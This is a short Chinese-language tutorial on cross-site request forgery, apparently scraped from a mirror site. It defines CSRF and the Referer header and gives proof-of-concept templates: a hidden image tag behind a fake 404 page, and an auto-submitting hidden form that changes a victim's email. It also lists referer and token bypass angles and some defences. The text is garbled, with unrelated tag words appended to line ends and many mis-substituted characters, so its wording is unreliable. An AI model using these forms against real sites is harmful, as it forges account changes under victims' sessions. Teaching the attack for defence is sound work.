CSRF 认识

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,一般缩写为CSRF或者XSRF,是一种对网站的恶意利用。利用受害者还没有失效的身份认证信息(cookie,会话等),诱变点击恶意连接或者访问包含攻击代码的页面,在受害人不知情的状况下以受害者的身份向服务器发送请求,从而完成非法操做。html

HTTP Referer:   Referer  是  HTTP  请求header 的一部分,当浏览器(或者模拟浏览器行为)向web 服务器发送请求的时候,头信息里有包含  Referer  。Http协议头中的Referer主要用来让服务器判断来源页面, 即用户是从哪一个页面来的,一般被网站用来统计用户来源,是从搜索页面来的,仍是从其余网站连接过来,或是从书签等访问,以便网站合理定位.web

类型:json

  1.GET请求。浏览器

    验证时,直接在另外一个浏览器上登陆帐户后访问URL便可。利用时,则将URL放在html标签中进行假装。服务器

    POC构造:cookie

      <img src="url" border="0" style="display: none;"/>网站

      <h1>404</h1>加密

      <h2>file not found.</h2>url

  2.POST请求。code

    须要构造HTML表单。burp中能够直接构造也能够本身写

     POC构造:

        <!DOCTYPE html>

        <html>
        <body>
        <form name="poc" action="" method="POST" type="hidden">
        <input type="hidden" name="newEmail" value="xx"/>
        <input type="submit" value="submit request" style="display: none;">
        </form>
        </body>
        <script>
        poc.submit();
        </script>
        </html>

基本绕过

(1).referer

    (1).是否属于指定域

    (2).指定关键字

    (3)是否有指定域

    (4)为空时

(2).token

防御

  (1).验证码

  (2)token :加密,随机令牌

  (3)经过请求头判断请求是否与当前页面同源

相关文章
相关标签/搜索